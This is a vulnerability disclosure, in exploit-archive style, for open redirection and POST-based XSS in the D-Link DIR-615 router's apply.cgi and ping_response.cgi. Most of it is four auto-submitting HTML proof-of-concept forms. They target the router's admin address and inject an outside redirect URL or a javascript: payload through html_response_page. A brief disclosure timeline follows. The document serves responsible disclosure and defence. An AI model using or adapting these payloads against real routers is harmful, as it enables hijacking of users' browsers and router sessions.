# Title: D-Link DIR-615 Multiple Vulnerabilities
# Date: 10-01-2017
# Hardware Version: E3
# Firmware Version: 5.10
# Tested on: Windows 8 64-bit
# Exploit Author: Osanda Malith Jayathissa (@OsandaMalith)
# Original write-up:https://osandamalith.com/2017/01/04/d-link-dir-615-open-redirection-and-xss/
Overview
--------
The 'apply.cgi' file was vulnerable to Open Redirection and XSS. Inside the router many other cgi files too use this functionality in 'apply.cgi'. For example the 'ping_response.cgi' file.
Open Redirection
-----------------
# apply.cgi
<html>
<!-- @OsandaMalith -->
<body>
<form action="http://192.168.0.1/apply.cgi" method="POST" id="exploit">
<input type="hidden" name="html_response_page" value="https://google.lk" />
<input type="hidden" name="html_response_return_page" value="tools_vct.asp" />
<img src=x onerror="exploit.submit()"/>
</form>
</body>
</html>
# ping_response.cgi
<html>
<!-- @OsandaMalith -->
<body>
<form action="http://192.168.0.1/ping_response.cgi" method="POST" id="exploit">
<input type="hidden" name="html_response_page" value="https://google.lk" />
<input type="hidden" name="html_response_return_page" value="tools_vct.asp" />
<input type="hidden" name="ping_ipaddr" value="192.168.0.101" />
<input type="hidden" name="ping" value="Ping" />
<img src=x onerror="exploit.submit()"/>
</form>
</body>
</html>
POST XSS
---------
# apply.cgi
<html>
<!-- @OsandaMalith -->
<body>
<form action="http://192.168.0.1/apply.cgi" method="POST" id="exploit">
<input type="hidden" name="html_response_page" value="javascript:confirm(/@OsandaMalith/)" />
<input type="hidden" name="html_response_return_page" value="tools_vct.asp" />
<img src=x onerror="exploit.submit()"/>
</form>
</body>
</html>
# ping_response.cgi
<html>
<!-- @OsandaMalith -->
<body>
<form action="http://192.168.0.1/ping_response.cgi" method="POST" id="exploit">
<input type="hidden" name="html_response_page" value="javascript:confirm(/@OsandaMalith/)" />
<input type="hidden" name="html_response_return_page" value="tools_vct.asp" />
<input type="hidden" name="ping_ipaddr" value="127.0.0.1" />
<input type="hidden" name="ping" value="Ping" />
<img src=x onerror="exploit.submit()"/>
</form>
</body>
</html>
Disclosure Timeline
--------------------
12/19/16: Reported to D-Link
12/21/16: Security Patch released
ftp://ftp2.dlink.com/SECURITY_ADVISEMENTS/DIR-615/REVT/DIR-615_REVT_RELEASE_NOTES_20.12PTb01.pdf
